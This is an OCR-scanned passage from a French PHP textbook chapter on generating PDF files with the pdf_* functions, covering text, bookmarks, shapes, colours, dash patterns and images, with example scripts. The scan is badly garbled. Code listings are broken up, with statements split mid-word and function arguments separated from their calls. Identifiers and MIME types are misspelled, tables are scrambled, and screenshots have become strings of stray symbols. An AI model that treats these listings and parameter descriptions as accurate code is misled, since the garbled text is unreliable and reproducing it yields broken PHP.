retour TRUE. 

Le squelette d'un script de generation d'un document PDF aura done l'allure suivante dans le 
cas de la generation d'un fichier : 

<?php 

$pdf = pdf_new(); 

pdf_open_file($pdf , "monFichier.pdf") ; 

// Appel aux fonctions precisant les informations 

// lies au fichier 

// Puis autant de pdf_begin_page() pdf_end_page() que necessaire 

pdf_begin_page($pdf, 595, 842); // Page en A4 
// Contenu de la page 

pdf_end_page($pdf) ; 

pdf_close($pdf) ; 

pdf_delete($pdf); 
?> 

Et il aura Failure suivante dans le cas d'un document cree en memoire et envoye au navigateur : 

<?php 

$pdf = pdf_new(); 

pdf_open_file($pdf, ""); 

// Appel aux fonctions precisant les informations 

// lies au fichier 

// Puis autant de pdf_begin_page() pdf_end_page() que necessaire 

pdf_begin_page($pdf, 595, 842); // Page en A4 

// Contenu de la page 
pdf_end_page($pdf) ; 
pdf_close($pdf) ; 

$donnees = pdf_get_buffer($pdf) ; 
pdf_delete($pdf); 
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header("Content-type: appl ication/pdf") ; 
header("Content-length: " .strlen($donnees)) ; 
header("Content-disposition: inline; filename=test.pdf") ; 
echo $donnees; 

?> 

II est evidemment possible d'envoyer le document au navigateur, meme lorsque celui-ci est 
stocke dans un fichier. II suffit, pour cela, de lire le contenu du fichier, comme nous le ferons 
dans le prochain exemple. 



14.3. Preciser les attributs (mots-cles) du document 

Pour chaque document PDF, il est possible de definir des mots-cles, le nom de l'auteur, etc. 



pdf_set_info() 

Permet de remplir les informations d'un fichier PDF. 

Syntaxe boolean pdf_set_info (resource $objetPDF, string $cle, string 

$valeur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$cle Pouvant prendre les valeurs predefinies "Subject", "Title", 

"Creator", "Author", "Keywords" ou une valeur definie par 
l'utilisateur (a l'exception des mots reserves "CreationDate", 
"Producer", "ModDate" et "Trapped"). 

$value Valeur associee a la cle. 

retour TRUE. 

L'appel a pdf_set_inf o ( ) se fera en dehors de la creation d'une page (en dehors d'un bloc 

pdf_begin_page ( ) , pdf _end_page ( ) ). 

14.4. Preciser les parametres de la page 

Pour chaque page du document, il est possible de definir (ou redefinir) les parametres devant 
etre utilises. 
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pdf_set_value() 



Permet d'attribuer une valeur aux parametres de la page (taux de compression, interligne, etc). 

Syntaxe boolean pdf_set_value (resource $objetPDF, string $parametre, 

double $valeur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$parametre Parametre a definir. 

$ v a 1 e u r Valeur a attribuer. 

retour TRUE. 

Voici un tableau des valeurs pouvant etre modifiees : 



Tableau 14.2 : Valeurs pouvant etre modifiees par pdf_set_value() 



Cle 

compress 

page-width 
pagewidth 



Valeur 



Valeur par defaut 



Definit la compression du document entre o et 9. o 6 
indique qu'il n'y a pas de compression tandis que 9 
est la compression la plus forte. 

Modifie la largeur de la page courante. 

Modifie la largeur de la page courante. 



pageheight 



Modifie la hauteur de la page courante. 



leading 



Textrise 



text rendering 



Horizscaling 
charspacing 

wordspacing 



chaque nouvelle page). 

o 



Modifie I'espace entre deux lignes de base de deux 
lignes consecutives. 

Modifie I'espace entre la position desiree du texte et o (et remis a o a 
la ligne de base. 

pour du texte plein. 

1 pour n'avoir que le contour du texte. 

2 pour du texte plein et le contour. 

3 pour ne pas afficher le texte, mais I'ajouter au 
chemin. 

Pourcentage pour elargir ou retrecir le texte. l o o 

Espace entre deux caracteres a ajouter a o 

I'espacement par defaut. 

Espace a ajouter a la taille du caractere o 

d'espacement. 

duration 



Definit le temps d'affichage en secondes pour la 
page courante. 
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II est egalement possible d'ajouter des signets aux pages. 
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pdf_add_bookmark() 

Ajoute un signet a une page. 
Syntaxe 



$objetPDF 

$texte 

$parent 

$ouvrir 

retour 



int pdf_add_bookmark (resource $objetPDF, string $texte, int 
$parent, boolean $ouvrir) 

Identifiant tel que retourne par pdf _new ( ) . 

Label du signet. 

Identifiant du signet parent (0 revient a creer un signet a la racine de 
l'arborescence). Ce parametre est optionnel avec PHP4. 

Si cet argument vaut TRUE, alors les enfants du signet seront visibles. Ce 
parametre est optionnel avec PHP4. 

Identifiant de signet (pouvant servir de parametre parent pour un autre 
signet). 



14.5. Afficher du texte 



Avant d'afficher du texte, vous devrez selectionner une police d'ecriture. Vous ne pouvez 
toutefois selectionner une police d'ecriture que si celle-ci a ete precedemment chargee (ou tout 
au moins ajoutee a la liste des polices utilisees). 
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pdf_findFont() 



Ajoute une police d'ecriture a la liste des polices. 

Syntaxe int pdf_findFont (resource $objetPDF, string $nomPolice, string 

$encodage, boolean $integrer) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$nomPol i ce Nom de la police d'ecriture a utiliser. 

$encodage "builtin", "macroman", "winansi", "ebcdic", "host" ou un nom 

defini par l'utilisateur. 

$i ntegrer TRUE si la police doit etre integree au document , FALSE sinon (le lecteur 

devra avoir la police a sa disposition). 

retour Un identifiant de police d'ecriture, ou FALSE. 
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pdf_setFont() 

Definit la police d'ecriture courante. 



Syntaxe boolean pdf_setFont (resource $objetPDF, int $police, double 

$taille) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$pol i ce Identifiant tel que retourne par pdf _f indFont ( ) . 

$tai 1 1 e Taille de la police (en points). 

retour TRUE. 

Une fois ce travail effectue, vous pouvez commencer a envisager d'ajouter du texte a votre 
document grace, notamment, a la fonction pdf _show_xy ( ) . 



pdf_show_xy() 



Affiche du texte a une position definie par ses coordonnees. 

Syntaxe boolean pdf_show_xy (resource $objetPDF, string $texte, double 

$x, double $y) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$texte Texte a afficher. 

$x Abscisse du bord gauche du texte (l'origine du document est en bas a 

gauche de la page). 

$y Ordonnee de la ligne de base du texte (l'origine du document est en bas a 

gauche de la page). 

retour TRUE. 

Les fonctions que nous avons vues jusqu'a present nous permettent de creer le script (assez 
simple) suivant : 

Listing 14.1 : pdd.php 

<?php 

$nomFichier=" test. pdf"; 

// Creation d'un pdf 

$pdf = pdf_new() ; 

// Ouverture d'un fichier en ecriture le nom 

// du fichier est un chemin absolu. 

pdf_open_file($pdf, $nomFichier) ; 

// Definition de l'auteur du document 

pdf_set_info($pdf , "Author", "Thomas, Damien, Laurent et Pern"); 
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// Defin 
pdf_set_i 
// Defin 
pdf_set_i 
// Defin 



tion du titre 

nfo($pdf, "Title", "Mon premier PDF en PHP"); 

tion du createur du PDF 

nfo($pdf, "Creator", "The PHP bible team :)"); 

tion du sujet 



pdf_set_info($pdf, "Subject", "PDF en PHP"); 



(A4) 



FALSE); 



// Creation d'une page de 595 points par 842 

// (72 points par pouce soit 28,368 par cm) 

pdf_begin_page($pdf, 595, 842); 

// Donne le label "La page" a la page 

pdf_add_bookmark($pdf , "La page", 0, TRUE); 

// Definit la police courante 

$font = pdf_findfont($pdf , "Courier", "host", 

if ($font) { 

pdf_setfont($pdf, $font, 30); 
} else { 

die ("Police d'ecriture introuvable") ; 
}// Definit la valeur de textrendering 
pdf_set_value($pdf, "textrendering", 1); 
// Affiche le texte "Trop trop cool ce true" 
// (50,750) est le point inferieur gauche de 
// La ligne de base est la ligne inferieur naturelle 
// (p,q,y... descendent en dessous) 

// Le point (0,0) est le point inferieur gauche du document) 
pdf_show_xy($pdf , "Trop trop cool ce true", 50, 750); 



// Termine la page 

pdf_end_page($pdf) ; 

// Ferme le document PDF 

pdf_close($pdf); 

// Efface l'objet PDF de la memoire et 

pdf delete($pdf); 



aux coordonnees (50,750) 
la ligne de base 



les ressources associees 



/kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk/ 

I* Cette parti e concerne l'affichage */ 
/* du document, le fichier est deja */ 
/* cree sur le disque dur. */ 

jkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk I 

$taille = filesize($nomFichier) ; 
header("Content-type: appl ication/pdf") ; 
header("Content-Length: $taille") ; 

header("Content-Disposition: inline; filename=test.pdf" 
readf i 1 e ($nomFi chi er) ; 
?> 
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Dont l'affichage serait : 



1 J66,67% - © | Q 
/ Bookmark T 



apl 3/cl 3-pdfl.pho - M 



Fichier Edition Affichage Favoris Outils 



*' 



Q Precedents • j @ ^4 J^ Reche,& ' ! " t^f Favoris Ijf MSdla ^ 

Adresse ^] http;//lQcalhost/BiblePHP5cripts/chapl3/cl3-pdfl,php v | fl OK Lie 



BS^n-«8K>ii 



H < ► H 



♦ » ||CT[QT-| T:i '^ 



ra 



"B- 1 



D La page _1 



J 



Trap top cool os true 



1el1 3 26 x 11 ,i39 in ij 



~®~li 



Figure 14.2 : 

Ecrire du texte dans un 
fichierPDF 



II est egalement possible d'ecrire du texte a la position courante du pointeur de texte, ce qui 
permet, en particulier, d'ajouter du texte a la suite du texte precedent. 



pdf_show() 



Affiche du texte a la position courante du pointeur. 

Syntaxe boolean pdf_show (resource $objetPDF, string $texte) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 



$texte 
retour 



Texte a afficher. 

TRUE. 
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La position courante 

pdf_set_text_pos ( ) 



du pointeur de texte peut etre modifiee a tout instant grace a la fonction 

). 



pdf_set_text_pos() 



Modifie la position courante du pointeur de texte. 
Syntaxe 



boolean pdf_set_text_pos (resource $objetPDF, double $x, double 

$y) 
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$objetPDF 

$x 

$y 

retour 



Identifiant tel que retourne par pdf _new ( 
Abscisse du pointeur. 
Ordonnee du pointeur. 

TRUE. 



Vous n'aurez toutefois pas besoin d'avoir recours a des calculs savants pour ecrire du texte sur 
une nouvelle ligne. 



pdf_continue_text () 



Affiche du texte a la ligne suivante. L'espace entre deux lignes est determine par la variable 
leading qui peut etre modifiee par pdf_set_vaiue ( ) . 



Syntaxe 

$objetPDF 
$texte 



void pdf_continue_text(int $objetPDF, string $texte) 
Identifiant tel que retourne par pdf _new ( ) . 
Texte a afficher. 



De meme, l'ecriture sur plusieurs colonnes se trouve grandement simplified par la fonction 

pdf _show_boxed ( ) . 
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pdf_show_boxed() 



Permet d'afficher un texte dans un rectangle virtuel ; l'alignement et les retours a la ligne seront 
automatiquement geres pour etre ajustes au rectangle. 

Syntaxe int pdf_show_boxed (resource $objetPDF, string $texte, double 

$gauche, double $haut, double $largeur, double $hauteur, 
string $alignement, string $option) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$texte Texte a afficher. 

$gauche Abscisse du bord gauche. 

$ h a u t Ordonnee du bord superieur. 

$1 argeur Largeur du rectangle (positionner largeur et hauteur a revient a ecrire 

sur une ligne). 

$hauteur Hauteur du rectangle (positionner largeur et hauteur a revient a ecrire 

sur une ligne). 

$alignement Auchoix: 

"left" pour un alignement a gauche. 
"right" pour un alignement a droite. 
"center" pour centrer le texte. 
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"justify" pour un texte justifie (sauf la derniere ligne qui sera alignee a 

gauche). 

"full justify" pourun texte justifie (y compris la derniere ligne). 

$ o p t i o n "b 1 ind" si vous ne souhaitez pas afficher le texte mais simplement f aire un 

test (pour, par exemple, determiner si avec les valeurs choisies tout le texte 
rentre dans le rectangle). Ce parametre est optionnel avec PHP 4. 

retour Le nombre de caracteres qui n'ont pu etre contenus dans le rectangle. 



/£) Un petit penchant pour I 'ecriture inclinee ? 



Si vous souhaitez ecrire un texte incline, il vous suffit de faire pivot sur les axes des 
coordonnees (comme nous le verrons plus loin). 



Largeur d'un texte 



pdf_stringWidth() 

Retourne la largeur d'une chaine de caracteres en points en utilisant, par defaut, la police 
d'ecriture courante. 

Syntaxe double pdf_stringWidth (resource $objetPDF, string $texte, int 

$police, double $taille) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$texte Texte dont on veut connaitre la largeur. 

$police Identifiant de police de caracteres tel que retourne par 

pdf_f indFont ( ) . Ce parametre est optionnel avec PHP 4. 

$tai 1 1 e Taille de la police d'ecriture. Ce parametre est optionnel avec PHP 4. 

retour La largeur de la chaine de caracteres en utilisant la police d'ecriture 

definie. 

Les parametres de la police d'ecriture 

pdf_get_parameter () 

Retourne des informations liees a la police de caracteres utilisee. 

Syntaxe string pdf_get_parameter(int $objetPDF, string $cle, double 

$remplace) 
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Chapitre 14 La creation de documents PDF 



$objetPDF Identifianttel que retourne par pdf_new( ) . 

$c 1 e Nom du parametre a recuperer. 

$rempl ace Valeur de remplacement. Ce parametre est optionnel avec PHP 4. 

retour La valeur du parametre. 

Tableau 14.3 : Parametre recuperable par pdf_get_parameter() 
Cle Description 

f ontencoding Recupere le nom de I'encodage de la police d'ecriture predefine par 

pdf_set_f ont ( ) . 

underline Retourne la chaine de caracteres "true" si le texte est souligne, "false" 

sinon. 

overiine Retourne la chaine de caracteres "true" si le texte est surligne, "false" 

sinon. 

strikeout Retourne la chaine de caracteres "true" si le texte est barre, "false" 

sinon. 



14.6. Dessiner des formes geometriques 

Maintenant que nous avons vu comment ecrire du texte dans un document PDF, voyons 
comment nous pouvons dessiner. 

Le trace se fait en dessinant des cercles, des rectangles, en tracant des segments entre la 
position courante du curseur et un point quelconque, en modifiant la position courante du 
curseur, etc. Mais, quoi qu'il arrive, le trace doit etre valide par un appel aux fonctions 
pdf_*_stroke ( ) (pour tracer le contour), pdf_*_f ill ( ) (pour remplir la forme ainsi tracee) 
ou pdf_*_f iii_stroke ( ) (pour remplir et tracer le contour de la forme). 

Les lignes 

Pour tracer une ligne, vous serez sans doute amene a deplacer le curseur. 



pdf_moveTo() 

Definit la nouvelle position du pointeur graphique. 

Syntaxe boolean pdfjnoveTo (resource $objetPDF, double $x, double $y) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$x Abscisse du pointeur graphique. 

$y Ordonnee du pointeur graphique. 

retour true. 
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Dessiner des formes geometriques 



pdf_lineTo() 



Trace un segment depuis la position du pointeur graphique jusqu'aux coordonnees passees en 
parametre. 



Syntaxe 

$objetPDF 

$x 

$y 

retour 



boolean pdf_l ineTo (resource $objetPDF, double $x, double $y) 
Identifiant tel que retourne par pdf _new ( ) . 
Abscisse de la fin du segment. 
Ordonnee de la fin du segment. 

TRUE. 



Les rectangles 



pdf_rect() 



Permet de dessiner un rectangle (le pointeur graphique prend alors la position du coin inferieur 
gauche du rectangle). 



Syntaxe 

$objetPDF 

$x 

$y 

$largeur 
$hauteur 
retour 



boolean pdf_rect (resource $objetPDF, double $x, double $y, 
double $largeur, double $hauteur) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du bord gauche du rectangle. 

Ordonnee du bord inferieur du rectangle. 

Largeur du rectangle. 

Hauteur du rectangle. 

TRUE. 



Les cercles et arcs de cercle 
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pdf_circle() 



Dessine un cercle (le pointeur graphique prend alors la position de l'extremite droite du 
cercle). 



Syntaxe 

$objetPDF 

$x 

$y 



boolean pdf_circle(resource $objetPDF, double $x, double $y, 
double $rayon) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du centre de l'arc. 

Ordonnee du centre de l'arc. 
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$rayon 
retour 



Rayon de l'arc. 

TRUE. 



pdf_arc() 



Dessine un arc de cercle dans le sens trigonometrique (un segment reliera la position courante 
du pointeur a la premiere extremite de l'arc, et le pointeur graphique sera deplace a la seconde 
extremite de l'arc). 



Syntaxe 

$objetPDF 

$x 

$y 

$rayon 
$anglel 
$angle2 
retour 



boolean pdf_arc (resource $objetPDF, double $x, double $y, 
double $rayon, double $anglel, double $angle2) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du centre de l'arc. 

Ordonnee du centre de l'arc. 

Rayon de l'arc. 

Angle de depart (en degres). 

Angle de fin (en degres). 

TRUE. 
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pdf_arcn() 



Dessine un arc de cercle dans le sens horaire (un segment reliera la position courante du 
pointeur a la premiere extremite de l'arc, et le pointeur graphique sera deplace a la seconde 
extremite de l'arc). 



Syntaxe 

$objetPDF 

$x 

$y 

$rayon 
$anglel 
$angle2 
retour 



void pdf_arcn (resource $objetPDF, double $x, double $y, double 
$rayon, double $anglel, double $angle2) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du centre de l'arc. 

Ordonnee du centre de l'arc. 

Rayon de l'arc. 

Angle de depart (en degres). 

Angle de fin (en degres). 

TRUE. 
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Dessiner des formes geometriques 
Les courbes de Bezier 



pdf_curveTo() 



Permet de tracer une courbe de Bezier cubique entre la position courante du pointeur 
graphique et les coordonnees du dernier point precise (qui deviendra la nouvelle position du 
pointeur) en s'appuyant sur deux autres points. 

Syntaxe boolean pdf_curveto(resource $objetPDF, double $xl, double 

$yl, double $x2, double $y2, double $x3, double $y3) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$x 1 Abscisse du premier point d'appui 

$y 1 Ordonnee du premier point d'appui. 

$x2 Abscisse du deuxieme point d'appui. 

$y2 Ordonnee du deuxieme point d'appui. 

$x3 Abscisse du point d'arrivee. 

$y3 Ordonnee du point d'arrivee. 

retour TRUE. 



Cloture et validation du trace 

Si vous souhaitez fermer la figure que vous venez de dessiner, sans avoir a preciser les 
coordonnees du point initial du trace, vous devez faire appel a pdf_closePath( ) . 



pdf_closePath() 

Permet de clore un trace. 

Syntaxe boolean pdf_closePath (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 

Toutefois, un appel a pdf_closePath ( ) ne valide pas le trace du contour (operation qui doit 
necessairement etre faite avant l'appel a pdf_end_page ( ) ), contrairement aux fonctions qui 
suivent. 
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pdf_closepath_stroke () 

Permet de clore un trace et d'afficher le contour. 

Syntaxe boolean pdf_closepath_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour true. 



pdf_closePath_fill_stroke () 
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Permet de clore un trace, de le remplir et d'afficher le contour (les couleurs du remplissage et 
du contour etant definies par pdf_selColor ( ) ). 

Syntaxe boolean pdf_closePath_fil l_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 

Si, toutefois, vous considerez que votre trace est ferme, vous pouvez appeler les fonctions 
suivantes : 



pdf_stroke() 

Permet d'afficher le trace. 

Syntaxe boolean pdf_stroke (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour true. 



pdtfillQ 



Permet de remplir un trace. 

Syntaxe boolean pdf_fi 11 (resource $objetPDF) 

$obj et PDF Identifiant tel que retourne par pdf _new ( 

retour TRUE. 
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Modifier les parametres du trace 



pdf_fill_stroke() 



Permet de remplir un trace et d'en afficher le contour (les couleurs du remplissage et du 
contour etant definies par pdf_seiColor ( ) ). 

Syntaxe boolean pdf_fill_stroke(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 



14.7. Modifier les parametres du trace 



II est, bien entendu, possible de jouer sur les parametres du trace (comme la couleur, la largeur 
du trace, etc.). Mais attention, ceci ne peut se faire que si le trace n'a pas ete commence (i.e. 
juste apres avoir valide le trace precedent). 

La couleur 



pdf_setColor() 

Definit la couleur de trait et/ou de remplissage. 

Syntaxe boolean pdf_setCol or (resource $objetPDF, string $type, string 

$palette, numeric $cl, double $c2, double $c3, double $c4) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$type Element dont vous souhaitez changer la couleur : 

"fill" pour changer la couleur de remplissage. 
"stroke" pour changer la couleur du trait. 

"both" pour changer les deux (et leur donner la meme couleur). 

$pal ette Precise comment vous souhaitez identifier la couleur : 

"gray" si vous souhaitez indiquer un niveau de gris. 
"r gb" si vous souhaitez preciser les composantes rouge, verte et bleue de la 
couleur. 

"cmyk" si vous souhaitez preciser les composantes cyan, magenta, jaune et 
noire de la couleur. 

"spot" si vous souhaitez preciser l'identifiant de la couleur (dans le cas 
d'une couleur definie par pdf _makeSpotColor ( ) decrite ci-apres). 
"pattern". 

$cl Selonlescas: 

Niveau de gris (0 = noir, 1 = blanc) dans le cas "gray". 
Composante rouge (entre et 1) dans le cas "rgb". 
Composante cyan (entre et 1) dans le cas "cmyk". 
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Chapitre 14 La creation de documents PDF 



Identifiant de la couleur dans le cas "spot". 
Indice dans la palette dans le cas "pattern". 

$c2 Selon les cas : (Ce parametre est optionnel avec PHP4) 

Coefficient a appliquer a la couleur (entre = noir et 1 = couleur 

sauvegardee) dans le cas "spot". 

Composante verte (entre et 1) dans le cas "rgb". 

Composante magenta (entre et 1) dans le cas "cmyk" 

$c3 Selon les cas : (Ce parametre est optionnel avec PHP4) 

Composante bleue (entre et 1) dans le cas "rgb". 
Composante jaune (entre et 1) dans le cas "cmyk" 

$c4 Composante noire (entre et 1, uniquement dans le cas "cmyk"). Ce 

parametre est optionnel avec PHP4. 

retour TRUE. 

Quelques exemples : 

// Definit la couleur de remplissage a bleu 

pdf_setColor($pdf, "fill", "rgb", 0, 0, 1); 

// Definit la couleur de trait a gris clair 

pdf_setColor($pdf, "stroke", "gray", 0.8); 

// Definit la couleur de trait et de remplissage a rouge 

pdf_setColor($pdf, "both", "cmyk", 1, 0, 0, 0.7); 

Comme cela a ete evoque au cours de la description de la fonction precedente, il est possible 
d'attribuer un identifiant a une couleur (ce qui est plus simple d'utilisation). Pour cela, il faut 
utiliser la fonction pdf_makeSpotColor ( ) . 



pdf_makeSpotColor () 

Retourne un identifiant pour la couleur de remplissage courante. 

Syntaxe int pdfjnakespotcol or (resource $objetPDF, string $nom) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$nom Nom a donner a la couleur. 

retour Identifiant de la couleur. 

La largeur, les extremites et les bords 

pdf_setLineWidth() 

Permet de modifier l'epaisseur du trait. 

Syntaxe boolean pdf_setLineWidth(resource SobjetPDF, double $largeur) 
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Modifier les parametres du trace 



$objetPDF 

$largeur 

retour 




Identifiant tel que retourne par pdf _new ( 
Largeur du trait (en points). 

TRUE. 

Figure 14.3 : 

Largeur du trait 



pdf_setLineJoin() 



Definit la forme du coin forme par deux segments dont on a demande a tracer le contour. 

Syntaxe 

$objetPDF 
$formeCoin 



retour 




boolean pdf_setLineJoin (resource $objetPDF, int $formeCoin) 
Identifiant tel que retourne par pdf _new ( ) . 

Au choix : 

pour un coin obtus. 

1 pour un coin arrondi. 

2 pour un coin plat. 

TRUE. 



Figure 14.4 : 

Differents codes pour differents 
coins 



pdf_setLineCap() 



Definit la facon dont doivent etre affichees les extremites des segments 

Syntaxe 

$objetPDF 
$style 



retour 



boolean pdf_setLineCap(resource $objetPDF, int $style) 
Identifiant tel que retourne par pdf _new ( ) . 

Au choix : 

pour une extremite plate. 

1 pour une extremite arrondie. 

2 pour une extremite carree. 

TRUE. 
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Figure 14.5 : 

Differents codes pour differents bouts 
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pdf_setMiterLimit () 



Definit la hauteur du coin (cf. dessin). 

Syntaxe boolean pdf_setmiterl i mi t (resource $objetPDF, double $hauteur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 



$hauteur 
retour 




Hauteur maximale du coin. 

TRUE. 

Figure 14.6 : 

Hauteur d'un coin (miter) 
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II est grand temps a present de mettre en pratique certaines des fonctions vues jusque-la. 

Listing 14.2 : pdf2.php 

<?php 

// Creation d'un pdf 

$pdf = pdf_new() ; 

// Ouverture d'un fichier en ecriture le 

// du fichier est un chemin absolu. 

pdf_open_file($pdf , ""); 

pdf_begin_page($pdf, 595, 842); 

// Deplacement du curseur en (50, 740) 

pdf_moveto($pdf, 50, 740); 

// Definit un trait jusqu'en (315, 740) 

pdf_lineto($pdf, 340, 740); 

// Definition d'un arc de cercle 

pdf_arc ($pdf, 340, 700, 40, 90, 

// Definition d'un arc de cercle 

pdf_arcn($pdf, 340, 620, 40, 90, 

// Deplacement du curseur en (50, 740) 

pdf_moveto($pdf, 50, 740); 

// Definition d'un cercle de centre (30, 

pdf_circle($pdf, 30, 740, 20); 

// Dessine le circuit trace precedemment et 

pdf_fill($pdf); 

//Modification de l'epaisseur du trait pour 

pdf_setlinewidth($pdf, 10); 

// Deplacement du curseur en 

pdf_moveto($pdf, 50, 400); 

// Definition d'un rectangle 

// et de hauteur 40 

pdf_rect($pdf, 50, 600, 20, 40); 

// Dessin du rectangle 

pdf_stroke($pdf) ; 

// Termine la page 



dans 
270); 
dans 
180); 



e sens trigonometrique 
e sens horaire 

740) et de rayon 20 
le remplit 
le trace suivant 

(50, 400) 

en (50, 600) de largeur 20 
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pdf_end_page($pdf) ; 

// Ferme le document PDF 

pdf_close($pdf) ; 

// Recupere les donnees du document PDF 

$donnees = pdf_get_buffer($pdf) ; 

// Efface 1'objet PDF de la memoire et les ressources associees 

pdf_delete($pdf); 



/k-k-kk-k-k-k-k-k-kk-k-kk-k-k-kk-k-kk-k-k-kk-kick-k-k-k-k-k-kk-k-k/ 

/* Cette partie concerne l'affichage */ 
/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 

/k-k-kk-k-k'k-k-k'kkk-kkk-k-kk-k-kk-k-k'kk-k'kkk-k-kk-k-kk-k-k/ 

header("Content-type: appl ication/pdf ") ; 
header("Content-Length: " .strlen($donnees)) ; 
header("Content-Disposition: inline; filename=test.pdf") ; 
echo $donnees; 
?> 



Voici ce qui doit etre obtenu : 



a a|* « -|« & ioi m\ \< 
m&% - ©iq n "Hal's - 

A 



apl 3/cl J-pdf2.php - M 
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Figure 14.7 : 

Dessiner un PDF en 
PHP 
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Les pointilles 

II est possible de definir des pointilles simples... 
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pdf_setDash() 

Permet de definir le type de pointilles. 

Syntaxe void pdf_setDash (resource $objetPDF, double $trace, double 

$nonTrace) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$trace Nombre de points a tracer avant de suspendre le trace. 

$nonTrace Nombre de points a ne pas tracer avant de reprendre le trace. 

retour TRUE. 

... comme de plus complexes. 

pdf_setPolyDash() 

Permet de definir un type de pointilles complexe. 

Syntaxe boolean pdf_setPolyDash (resource $objetPDF, array 

$tableauPoints) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$tabl eauPoi nts Tableau de points (nombre de points a tracer, puis nombre de points a ne 
pas tracer, puis nombre de points a tracer, etc). 

retour TRUE. 

Figure 14.8 : 

Les pointilles 



pdf_getDaah (Resource i^ #2, 10, 


20) 






pd£_aH-PslyDasiti |R-esaurfce id #2_, 


arrav-dO, 5 r 


5, 5) ) 









Reinitialiser les parametres 

II est possible de retablir les valeurs par defaut de ces parametres avec la fonction suivante : 



pdf_initGraphics() 



Reinitialise les parametres graphiques (couleurs, traces, axes) a leurs valeurs par defaut. 

Syntaxe boolean pdf_initGraphics (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 
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Inclure une image 



Comme indique, cette fonction retablit les axes de coordonnees a leur position initiale, car 
(nous le verrons plus loin dans ce chapitre) il est possible de les modifier. 



14.8. Inclure une image 



Pour inclure une image, vous devez au prealable ouvrir un fichier image, ce qui peut se faire 
avec pdf_open_image_f ile ( ) . Les ressources ainsi allouees devront plus tard etre liberees 

par un appel a pdf_close_image ( ) . 



pdf_open_image_file () 

Lit une image depuis un fichier. 
Syntaxe 



int pdf_open_image_file(resource $objetPDF, string $typelmage, 
string $nomFichier, string $parametreChaine, string 
$parametreEntier) 

Identifiant tel que retourne par pdf _new ( ) . 

Type de l'image, au choix " j peg", "tiff", "gi f " ou "png". 

Nom et chemin du fichier. 

Au choix : NULL, mask, masked, ignoremask, invert, page ou 
colorize. Ce parametre est optionnel avec PHP4. 

$parametreEntier 0, l'identifiant de l'image du masque ou numero de page. Ce parametre est 
optionnel avec PHP4. 

retour Identifiant de l'image. 



$objetPDF 
$typelmage 
$nomFichier 
$parametreChaine 



pdf_close_image() 
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Libere les ressources allouees par une image. 

Syntaxe void pdf_close_image (resource $objetPDF, int $idlmage) 



$objetPDF 
$idlmage 



Identifiant tel que retourne par pdf _new ( ) . 

Identifiant d'image tel que retourne par pdf _open_image_f ile i 



Pour ajouter l'image a la page, vous disposez de pdf_place_image ( ) . 
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pdf_place_image () 

Place une image dans la page. 

Syntaxe boolean pdf_place_image(resource $objetPDF, int $idlmage, 

double $x, double $y, double $echelle) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$idlmage Identifiantd'imagetelqueretourneparpdf_open_image_f ile ( ) ou 

pdf _open_memory_image ( ) (ou identifiant de modele tel que 
retourne par pdf _begin_template ( ) ). 

$x Abscisse du bord gauche de l'image. 

$y Ordonnee du bord inferieur de l'image. 

$echel 1 e Echelle pour agrandir ou retrecir l'image. 

retour TRUE. 

Le script suivant ouvre une image dans une page PDF de 100 sur 100. 

Listing 14.3 : imagefile.php 

<?php 

// Creation d'un pdf 

$pdf = pdf_new() ; 

pdf_open_file($pdf, ""); 

pdf_begin_page($pdf, 100, 100); 

$logopdf = pdf_open_image_file($pdf , "png", "logo.png", "", 0); 
pdf_place_image($pdf , $logopdf, 0, 0, 1); 
pdf_close_image($pdf , $logopdf); 

// Termine la page 

pdf_end_page($pdf) ; 

// Ferme le document PDF 

pdf_close($pdf) ; 

// Lit les donnees du document PDF 

$donnees = pdf_get_buffer($pdf) ; 

// Efface l'objet PDF de la memoire et les ressources associees 

pdf_delete($pdf); 

/kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk/ 

/* Cette parti e concerne l'affichage */ 
/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 

/kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk/ 

header("Content-type: appl ication/pdf") ; 
header("Content-Length: " .strlen($donnees)) ; 
header("Content-Disposition: inline; filename=test.pdf") ; 
echo $donnees; 
?> 
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dont le resultat est : 
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Figure 14.9 : 

Inserer une image dans 
un document PDF 



II est egalement possible d'utiliser des images ouvertes ou creees avec gd. 



pdf_open_memory_image () 

Ouvre une image obtenue par la librairie gd. 
Syntaxe 



int pdf_open_memory_i mage (resource $objetPDF, resource 
$idImageGD) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$i dlmageGD Identifiant d'image tel que retourne par les fonctions imageCreate I 

ou imageCreateFromXXX ( ) de la bibliotheque GD. 

retour Identifiant de l'image (PDF). 



Decoupe d'une image 
